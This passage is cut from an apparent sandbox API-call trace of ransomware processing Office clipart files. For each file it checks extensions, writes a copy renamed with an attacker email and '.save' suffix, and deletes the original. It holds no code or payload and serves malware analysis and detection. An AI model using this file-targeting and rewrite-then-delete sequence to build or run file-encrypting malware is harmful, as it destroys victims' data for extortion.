Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.207] lstrlenW (lpString=".1cd") returned 4 [0210.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0210.207] lstrlenW (lpString=".jpg") returned 4 [0210.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.207] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.207] lstrlenW (lpString="J0105306.WMF") returned 12 [0210.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.207] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4320) returned 1 [0210.208] CloseHandle (hObject=0x358) returned 1 [0210.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0210.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.208] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.208] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.209] GetLastError () returned 0x0 [0210.210] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0210.549] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0210.550] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.550] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.550] SetEndOfFile (hFile=0x394) returned 1 [0210.550] CloseHandle (hObject=0x394) returned 1 [0210.550] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.550] SetEndOfFile (hFile=0x358) returned 1 [0210.551] CloseHandle (hObject=0x358) returned 1 [0210.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.552] lstrlenW (lpString=".doc") returned 4 [0210.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.552] lstrlenW (lpString=".docx") returned 5 [0210.552] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.553] lstrlenW (lpString=".pdf") returned 4 [0210.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString=".xls") returned 4 [0210.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.553] lstrlenW (lpString=".xlsx") returned 5 [0210.553] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.553] lstrlenW (lpString=".ppt") returned 4 [0210.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.553] lstrlenW (lpString=".zip") returned 4 [0210.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.553] lstrlenW (lpString=".rar") returned 4 [0210.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString=".bz2") returned 4 [0210.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString=".7z") returned 3 [0210.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.553] lstrlenW (lpString=".dbf") returned 4 [0210.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.553] lstrlenW (lpString=".1cd") returned 4 [0210.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.553] lstrlenW (lpString=".jpg") returned 4 [0210.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.553] lstrlenW (lpString=".doc") returned 4 [0210.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.553] lstrlenW (lpString=".docx") returned 5 [0210.554] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.554] lstrlenW (lpString=".pdf") returned 4 [0210.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.554] lstrlenW (lpString=".xls") returned 4 [0210.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.554] lstrlenW (lpString=".xlsx") returned 5 [0210.554] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.554] lstrlenW (lpString=".ppt") returned 4 [0210.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.554] lstrlenW (lpString=".zip") returned 4 [0210.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.554] lstrlenW (lpString=".rar") returned 4 [0210.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.554] lstrlenW (lpString=".bz2") returned 4 [0210.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.554] lstrlenW (lpString=".7z") returned 3 [0210.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.554] lstrlenW (lpString=".dbf") returned 4 [0210.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.554] lstrlenW (lpString=".1cd") returned 4 [0210.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0210.554] lstrlenW (lpString=".jpg") returned 4 [0210.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.554] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.555] lstrlenW (lpString="J0105380.WMF") returned 12 [0210.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.555] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4624) returned 1 [0210.555] CloseHandle (hObject=0x358) returned 1 [0210.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0210.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.555] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.556] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.557] GetLastError () returned 0x0 [0210.557] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x1210, lpOverlapped=0x0) returned 1 [0210.558] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1220, lpOverlapped=0x0) returned 1 [0210.559] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.559] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.559] SetEndOfFile (hFile=0x394) returned 1 [0210.559] CloseHandle (hObject=0x394) returned 1 [0210.559] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.559] SetEndOfFile (hFile=0x358) returned 1 [0210.560] CloseHandle (hObject=0x358) returned 1 [0210.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0210.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.561] lstrlenW (lpString=".doc") returned 4 [0210.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.561] lstrlenW (lpString=".docx") returned 5 [0210.561] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.561] lstrlenW (lpString=".pdf") returned 4 [0210.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.561] lstrlenW (lpString=".xls") returned 4 [0210.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.561] lstrlenW (lpString=".xlsx") returned 5 [0210.561] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.561] lstrlenW (lpString=".ppt") returned 4 [0210.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.561] lstrlenW (lpString=".zip") returned 4 [0210.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.562] lstrlenW (lpString=".rar") returned 4 [0210.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString=".bz2") returned 4 [0210.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString=".7z") returned 3 [0210.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.562] lstrlenW (lpString=".dbf") returned 4 [0210.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.562] lstrlenW (lpString=".1cd") returned 4 [0210.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.562] lstrlenW (lpString=".jpg") returned 4 [0210.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.562] lstrlenW (lpString=".doc") returned 4 [0210.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString=".docx") returned 5 [0210.562] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.562] lstrlenW (lpString=".pdf") returned 4 [0210.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.562] lstrlenW (lpString=".xls") returned 4 [0210.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.563] lstrlenW (lpString=".xlsx") returned 5 [0210.563] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.563] lstrlenW (lpString=".ppt") returned 4 [0210.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.563] lstrlenW (lpString=".zip") returned 4 [0210.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.563] lstrlenW (lpString=".rar") returned 4 [0210.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.563] lstrlenW (lpString=".bz2") returned 4 [0210.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.563] lstrlenW (lpString=".7z") returned 3 [0210.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.563] lstrlenW (lpString=".dbf") returned 4 [0210.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.563] lstrlenW (lpString=".1cd") returned 4 [0210.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF") returned 68 [0210.563] lstrlenW (lpString=".jpg") returned 4 [0210.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.563] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.564] lstrlenW (lpString="J0105384.WMF") returned 12 [0210.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.564] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5880) returned 1 [0210.564] CloseHandle (hObject=0x358) returned 1 [0210.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0210.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0210.564] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.565] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0210.566] GetLastError () returned 0x0 [0210.566] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0210.567] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1700, lpOverlapped=0x0) returned 1 [0210.568] ReadFile (in: hFile=0x358, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.568] WriteFile (in: hFile=0x394, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.568] SetEndOfFile (hFile=0x394) returned 1 [0210.568] CloseHandle (hObject=0x394) returned 1 [0210.569] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.569] SetEndOfFile (hFile=0x358) returned 1 [0210.570] CloseHandle (hObject=0x358) returned 1 [0210.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0210.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.571] lstrlenW (lpString=".doc") returned 4 [0210.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString=".docx") returned 5 [0210.571] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.571] lstrlenW (lpString=".pdf") returned 4 [0210.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString=".xls") returned 4 [0210.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.571] lstrlenW (lpString=".xlsx") returned 5 [0210.571] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.571] lstrlenW (lpString=".ppt") returned 4 [0210.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.571] lstrlenW (lpString=".zip") returned 4 [0210.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.571] lstrlenW (lpString=".rar") returned 4 [0210.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString=".bz2") returned 4 [0210.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString=".7z") returned 3 [0210.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.571] lstrlenW (lpString=".dbf") returned 4 [0210.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.571] lstrlenW (lpString=".1cd") returned 4 [0210.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.571] lstrlenW (lpString=".jpg") returned 4 [0210.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.572] lstrlenW (lpString=".doc") returned 4 [0210.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString=".docx") returned 5 [0210.572] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.572] lstrlenW (lpString=".pdf") returned 4 [0210.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString=".xls") returned 4 [0210.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.572] lstrlenW (lpString=".xlsx") returned 5 [0210.572] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.572] lstrlenW (lpString=".ppt") returned 4 [0210.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.572] lstrlenW (lpString=".zip") returned 4 [0210.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.572] lstrlenW (lpString=".rar") returned 4 [0210.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString=".bz2") returned 4 [0210.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString=".7z") returned 3 [0210.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.572] lstrlenW (lpString=".dbf") returned 4 [0210.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.572] lstrlenW (lpString=".1cd") returned 4 [0210.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0210.572] lstrlenW (lpString=".jpg") returned 4 [0210.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.573] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.573] lstrlenW (lpString="J0105386.WMF") returned 12 [0210.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" 